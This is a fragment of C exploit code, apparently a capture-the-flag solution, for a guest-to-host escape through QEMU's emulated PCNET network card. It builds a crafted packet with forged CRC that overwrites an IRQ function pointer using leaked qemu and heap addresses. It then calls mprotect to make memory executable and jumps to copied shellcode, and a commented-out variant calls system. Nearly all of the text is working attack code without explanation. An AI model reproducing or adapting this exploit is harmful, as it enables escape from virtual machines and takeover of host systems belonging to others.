if(!qemu_base || !phy_base || !heap_base || ((qemu_base&phy_base&heap_base&0xfff)!=0))
return printf("[-] error\n");
struct pcnet_config pcnet_config;
uint32_t pcnet_config_mem;
struct pcnet_desc pcnet_tx_desc page_aligned;
struct pcnet_desc pcnet_rx_desc page_aligned;
void *pcnet_rx_buffer, *pcnet_tx_buffer;
void *addr;
uint32_t fcs = ~0;
uint8_t *ptr;
uint16_t lo, hi;

addr = aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
pcnet_rx_buffer = (uint64_t *)addr;

addr = aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
pcnet_tx_buffer = (uint64_t *)addr;

pcnet_desc_config(&pcnet_rx_desc, pcnet_rx_buffer, 1);
pcnet_desc_config(&pcnet_tx_desc, pcnet_tx_buffer, 0);

pcnet_config_mem = (uint32_t)pcnet_card_config(&pcnet_config, &pcnet_rx_desc,&pcnet_tx_desc);
lo = (uint16_t)pcnet_config_mem;
hi = pcnet_config_mem >> 16;
uint8_t *shellcode_addr;
shellcode_addr=aligned_alloc(PAGE_SIZE,0x100);
/* size_t add=phy_base+(size_t)gva_to_gpa(shellcode_addr);
printf("%llx\n",add);*/
memcpy(shellcode_addr,shellcode,sizeof(shellcode));
*(size_t *)(shellcode_addr+2)=qemu_base+0x87DC08;//GOT table
*(size_t *)(pcnet_packet+0x38)=qemu_base+0x262AC5;//qemu_set_irq
*(size_t *)(pcnet_packet+0x40)=heap_base+0x11e5810+0x20;//irq2
*(size_t *)(pcnet_packet+0x48)=PROT_READ | PROT_WRITE | PROT_EXEC;//PROT_READ | PROT_WRITE | PROT_EXEC
*(size_t *)(pcnet_packet+0x50)=qemu_base+0xA1410;//mprotect
*(size_t *)(pcnet_packet+0x58)=phy_base;
*(size_t *)(pcnet_packet+0x60)=0x80000000;//mprotect(&shellcode,0x1000,PROT_READ | PROT_WRITE | PROT_EXEC)
/* compute required crc */
/* char *shell=aligned_alloc(PAGE_SIZE,0x100);
memcpy(shell,"./flag.txt\x00",0x100);
*(size_t *)(pcnet_packet+0x38)=qemu_base+0x0A1620;//system
*(size_t *)(pcnet_packet+0x40)=phy_base+(size_t)gva_to_gpa(shell);//shell*/
ptr = pcnet_packet;
while (ptr != &pcnet_packet[PCNET_BUFFER_SIZE - 4])
CRC(fcs, *ptr++);
pcnet_packet_patch_crc(ptr, fcs, htonl((heap_base+0x11e5810+0x8)&0xffffffff));

/* soft reset */
inl(PCNET_PORT + 0x18);
inw(PCNET_PORT + RST);

/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);

/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);

/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

sleep(2);

pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);
sleep(2);
*(size_t *)(pcnet_packet+0x38)=phy_base+(size_t)gva_to_gpa(shellcode_addr);
ptr = pcnet_packet;
while (ptr != &pcnet_packet[PCNET_BUFFER_SIZE - 4])
CRC(fcs, *ptr++);
pcnet_packet_patch_crc(ptr, fcs, htonl((heap_base+0x11e5810+0x8)&0xffffffff));
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);
/* stop*/
outw(0, PCNET_PORT + RAP);
outw(0x4, PCNET_PORT + RDP);
return 0;
}

PWN